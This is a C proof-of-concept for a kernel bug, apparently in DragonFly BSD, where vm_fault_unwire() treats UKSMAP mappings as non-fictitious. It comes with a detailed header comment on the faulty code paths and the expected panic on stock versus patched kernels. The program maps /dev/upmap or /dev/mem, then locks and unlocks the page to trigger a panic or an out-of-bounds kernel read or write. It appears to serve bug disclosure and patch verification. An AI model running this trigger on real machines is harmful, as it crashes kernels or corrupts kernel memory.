DF-5802 / uksmap_unwire.c
/* * DF-5802 PoC -- vm_fault_unwire() UKSMAP 'fictitious' asymmetry * * BUG (sys/vm/vm_fault.c): * vm_fault_wire() :2614-2616 treats VM_MAPTYPE_UKSMAP entries as * fictitious -- the UKSMAP fault path (vm_fault() * :562-580) pmap_enter()s a fake fictitious page and * never vm_page_wire()s anything. * vm_fault_unwire() :2679-2681 computes `fictitious` ONLY from * entry->ba.object->type. UKSMAP entries have * ba.object == NULL -> fictitious = FALSE. * * => munlock()/exit-unwire of a mlock()ed UKSMAP range runs * m = pmap_unwire(pmap, &va); (pmap.c:5633) * vm_page_busy_wait(m, FALSE, ...); * vm_page_unwire(m, 1); (vm_page.c:3297) * on a page that was never wired: * * /dev/upmap (minor 5, RAM-backed kernel page): * vm_page_unwire() -> panic "vm_page_unwire: invalid wire count" * (or silent wiring-accounting corruption / kernel page queued). * * /dev/mem at pa >= Maxmem: * pmap_unwire() -> m = PHYS_TO_VM_PAGE(pa) which is an * UNCHECKED vm_page_array index (vm_page.h:454) -> wild vm_page_t * -> OOB kernel read/write past vm_page_array. * * Trigger is privileged: mlock(2) is SYSCAP_RESTRICTEDROOT-gated on x86-64 * (sys/vm/vm_mmap.c:1030, #else branch; pc64 does not define * pmap_wired_count). /dev/mem is root:kmem 0640. * * Usage: uksmap_unwire upmap | mem [phys_addr_for_mem_default_0xFF000000] * * Expected STOCK : kernel panic (or wedge) at munlock() -- "fatal fault", * "vm_page_unwire: invalid wire count", or wild-pointer * fault; message depends on variant and adjacent memory. * Expected PATCHED : "SURVIVED munlock" for both variants, clean exit. */ #include <sys/types.h> #include <sys/fcntl.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *what = (argc > 1) ? argv[1] : "upmap"; off_t off = (argc > 2) ? (off_t)strtoull(argv[2], NULL, 0) : 0xFF000000ULL; const char *path; void *p; int fd; if (strcmp(what, "upmap") == 0) { path = "/dev/upmap"; /* minor 5: RAM-backed kernel page */ off = 0; } else if (strcmp(what, "mem") == 0) { path = "/dev/mem"; /* minor 0: raw pa == mmap offset */ } else { fprintf(stderr, "usage: %s upmap | mem [pa]\n", argv[0]); exit(2); } fd = open(path, O_RDWR); if (fd < 0) err(1, "open %s", path); p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, off); if (p == MAP_FAILED) err(1, "mmap %s offset 0x%jx", path, (uintmax_t)off); printf("mapped %s @ %p off 0x%jx\n", path, p, (uintmax_t)off); fflush(stdout); if (mlock(p, 4096) < 0) err(1, "mlock"); /* wire: UKSMAP path, no vm_page_wire */ printf("mlock: ok (UKSMAP pages entered wired, fictitious=TRUE)\n"); fflush(stdout); /* * munlock -> vm_map_unwire -> vm_fault_unwire with fictitious=FALSE * (ba.object == NULL) -> pmap_unwire()/vm_page_unwire() on a page the * wire path never wired. */ printf("munlock: entering vm_fault_unwire() bad path ...\n"); fflush(stdout); if (munlock(p, 4096) < 0) err(1, "munlock"); printf("SURVIVED munlock (no bug manifestation)\n"); fflush(stdout); /* also exercise the exit-time unwire of a still-wired UKSMAP range */ if (mlock(p, 4096) == 0) { printf("re-mlock: ok, now exiting with range still wired " "(exit unwinding hits same path)\n"); fflush(stdout); } return 0; } |